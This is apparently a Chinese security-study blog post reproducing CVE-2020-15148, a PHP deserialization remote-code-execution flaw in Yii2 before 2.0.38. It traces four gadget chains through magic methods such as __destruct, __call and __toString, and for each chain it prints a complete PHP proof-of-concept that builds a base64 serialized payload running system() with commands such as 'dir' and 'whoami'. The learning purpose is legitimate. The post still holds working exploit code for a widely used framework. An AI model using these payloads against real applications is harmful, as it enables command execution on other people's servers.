yii2框架 反序列化漏洞复现

前言

最近学习PHP反序列化的时候遇到了yii2反序列化的利用,就顺便搭了一下环境,跟着网上各种大师傅们的文章进行了一波复现和学习,提高自己代码审计的能力。

漏洞出现在yii2.0.38之前的版本中,在2.0.38进行了修复,CVE编号是CVE-2020-15148:

Yii 2 (yiisoft/yii2) before version 2.0.38 is vulnerable to remote code execution if the application calls unserialize() on arbitrary user input. This is fixed in version 2.0.38. A possible workaround without upgrading is available in the linked advisory.

至于环境的安装,直接从github上找yii2,下载下来2.0.37版本,然后修改config/web.php文件里cookieValidationKey的值,随便什么值都行。然后正常的部署一下就行了,就像thinkphp那样,根目录是/yii2/web。

CVE-2020-15148复现

这个反序列化的入口点是一个__destruct(),在BatchQueryResult类中
在这里插入图片描述
继续跟进一下reset():
在这里插入图片描述
但是继续跟进close(),发现没有什么利用的办法,正常可能链就断了,但是大师傅们的思路就是不一样,这里的_dataReader是可控的,那么调用了close的方法,是不是可以想办法触发__call呢?

全局搜索一下__call,最后在\vendor\fzaninotto\faker\src\Faker\Generator.php找到了一个合适的__call方法:
在这里插入图片描述
因为close是无参方法,所以__call中的$method是close,attributes为空。继续跟进format方法:
在这里插入图片描述
看到call_user_func_array的时候肯定就很兴奋了。继续跟进一下getFormatter

    public function getFormatter($formatter)
    {
    
    
        if (isset($this->formatters[$formatter])) {
    
    
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
    
    
            if (method_exists($provider, $formatter)) {
    
    
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

因为$this->formatters是可控的,因此getFormatter方法的返回值也是我们可控的,因此call_user_func_array($this->getFormatter($formatter), $arguments);中,回调函数是我们可控的,但是$arguments为空,所以相当于我们现在能干两件事,可以调用yii2中任意的一个无参方法,或者调用原生php的类似phpinfo()这样的无参方法,但是第二种肯定不能RCE,因此还要在yii2中已有的无参方法中进行挖掘:

function \w+\(\)

在这里插入图片描述
但是无参函数实在是太多了,一个一个挖起来实在费力。这里就是大师傅们的经验和智慧了,直接搜索含有call_user_function的无参函数:

function \w+\(\) ?\n?\{
    
    (.*\n)+call_user_func

但是这个正则在我这里查不到,我感觉我这里的phpstorm搜索好像有点问题。
最后找到的rest/CreateAction.php以及rest/IndexAction.php都很好用。这里分析一下IndexAction.php:
主要是它的run方法:
在这里插入图片描述
太直接了,$this->checkAccess$this->id都是我们可控的,相当于直接函数名和参数都可控了,反序列化链至此结束。

理一下就是这样:

class BatchQueryResult  ->__destruct()
↓↓↓
class BatchQueryResult  ->reset()
↓↓↓
class Generator  ->__call()
↓↓↓
class Generator  ->format()
↓↓↓
class Generator  ->getFormatter()
↓↓↓
class IndexAction  ->run()

构造一波:

<?php

namespace yii\rest{
    
    
    class IndexAction{
    
    
        public $checkAccess;
        public $id;
        public function __construct(){
    
    
            $this->checkAccess = 'system';
            $this->id = 'dir';
        }
    }
}
namespace Faker {
    
    

    use yii\rest\IndexAction;

    class Generator
    {
    
    
        protected $formatters;

        public function __construct()
        {
    
    
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}
namespace yii\db{
    
    

    use Faker\Generator;

    class BatchQueryResult{
    
    
        private $_dataReader;
        public function __construct()
        {
    
    
            $this->_dataReader=new Generator();
        }
    }
}
namespace{
    
    

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

写个controller:
在这里插入图片描述
在这里插入图片描述
触发成功!
总的来说这条链还是比较短的,难得就是__call得使用,还有call_user_func的寻找,学习一波大师傅们找反序列化利用链的思路。

其他反序列化链1的复现

根据yii2.0.38的更新:
在这里插入图片描述

增加了__wakeup(),在反序列化的时候直接抛出异常,因此以BatchQueryResult为起点的这条链在2.0.38里算是不行了。因此再继续复习学习一下大师傅们针对2.0.38挖掘的其他新链。

类比上一条链的思路,yii2只是限制了batchQueryResult类不能进行反序列化,但是后面的__cal以及之后的链都是完好无损的,因此想找一条新的链,最快的方式就是再找一个存在__destruct这样的利用点,然后正好类中的一个属性调用了一个方法,而且这个属性我们可控,那么就是一条新链了。
全局找一下__destruct,经过排查,发现RunProcess类的__destruct可以利用:
在这里插入图片描述
继续跟进:

    public function stopProcess()
    {
    
    
        foreach (array_reverse($this->processes) as $process) {
    
    
            /** @var $process Process  **/
            if (!$process->isRunning()) {
    
    
                continue;
            }
            $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
            $process->stop();
        }
        $this->processes = [];
    }

这里$process->isRunning(),因为$this->processes是我们可控的,因此$process也同样可控,所以这里调用isRunning方法,又可以触发__call,然后继续反序列化攻击。
构造一波POC:

<?php

namespace yii\rest{
    
    
    class IndexAction{
    
    
        public $checkAccess;
        public $id;
        public function __construct(){
    
    
            $this->checkAccess = 'system';
            $this->id = 'dir';
        }
    }
}
namespace Faker {
    
    

    use yii\rest\IndexAction;

    class Generator
    {
    
    
        protected $formatters;

        public function __construct()
        {
    
    
            $this->formatters['isRunning'] = [new IndexAction(), 'run'];
        }
    }
}
namespace Codeception\Extension{
    
    

    use Faker\Generator;

    class RunProcess
    {
    
    
        private $processes = [];
        public function __construct(){
    
    
            $this->processes[]=new Generator();
        }
    }
}
namespace{
    
    


    use Codeception\Extension\RunProcess;

    echo base64_encode(serialize(new RunProcess()));
}

在这里插入图片描述
同样利用成功。

其他反序列化链2的复现

还是看__destruct,发现DiskKeyCache.php的Swift_KeyCache_DiskKeyCache类同样可以利用:
在这里插入图片描述
继续跟进一下clearAll:
在这里插入图片描述
并没有发现可以触发__call的地方,但是发现存在字符串的拼接,而$this->path和$nsKey都是我们可控的,因此可以触发__toString()。全局搜索一波,可以找到很多:
在这里插入图片描述
据大师傅说可以找到好多个可用的toString,这里复现一下see.php里的:

    public function __toString() : string
    {
    
    
        return $this->refers . ($this->description ? ' ' . $this->description->render() : '');
    }

看到了$this->description->render(),就知道这条链又成了,又可以成功__call,构造一波POC:

<?php

namespace yii\rest{
    
    
    class IndexAction{
    
    
        public $checkAccess;
        public $id;
        public function __construct(){
    
    
            $this->checkAccess = 'system';
            $this->id = 'dir';
        }
    }
}
namespace Faker {
    
    

    use yii\rest\IndexAction;

    class Generator
    {
    
    
        protected $formatters;

        public function __construct()
        {
    
    
            $this->formatters['render'] = [new IndexAction(), 'run'];
        }
    }
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
    
    

    use Faker\Generator;

    class See
    {
    
    
        protected $description;
        public function __construct(){
    
    
            $this->description=new Generator();
        }
    }
}

namespace{
    
    
    use Codeception\Extension\RunProcess;
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache
    {
    
    
        private $keys = [];
        private $path;
        public function __construct(){
    
    
            $this->path=new See();
            $this->keys=array(
                'hello'=>'world'
            );
        }
    }

    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

在这里插入图片描述

其他反序列化链3的复现

这条链不适用和2.0.38,是2.0.37的另一条利用链,不过还是以BatchQueryResult类的__destruct作为起点。
还是跟进到这里:$this->_dataReader->close();,但是不寻找__call作为跳板,而是寻找确实存在close方法的一个类,而且这个类的close方法可以利用。经过寻找,找到了DbSession这个类:
在这里插入图片描述
跟进getIsActive(),发现无法利用,跟进composeFields()

    protected function composeFields($id = null, $data = null)
    {
    
    
        $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
        if ($id !== null) {
    
    
            $fields['id'] = $id;
        }
        if ($data !== null) {
    
    
            $fields['data'] = $data;
        }
        return $fields;
    }

发现了call_user_func($this->writeCallback, $this),因为$this->writeCallback可控,因此调用的回调函数可控。

如果传递一个数组给 call_user_func(),整个数组会当做一个参数传递给回调函数,数字的 key 还会保留住。

因此这里可以调用之前那条链里的run方法,实现RCE,POC如下:

<?php

namespace yii\rest{
    
    
    class IndexAction{
    
    
        public $checkAccess;
        public $id;
        public function __construct(){
    
    
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}
namespace yii\db{
    
    

    use yii\web\DbSession;

    class BatchQueryResult
    {
    
    
        private $_dataReader;
        public function __construct(){
    
    
            $this->_dataReader=new DbSession();
        }
    }
}
namespace yii\web{
    
    

    use yii\rest\IndexAction;

    class DbSession
    {
    
    
        public $writeCallback;
        public function __construct(){
    
    
            $a=new IndexAction();
            $this->writeCallback=[$a,'run'];
        }
    }
}

namespace{
    
    

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

在这里插入图片描述
这种思路也很妙啊,去找一个可以利用的close函数,还有call_user_func的利用也是第一次见,学到了学到了!

总结

学习了一波yii2反序列化链的挖掘,主要就是__destruct,__call,__toString等魔术方法的灵活使用和call_user_function的利用,学到了学到了。

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/113824239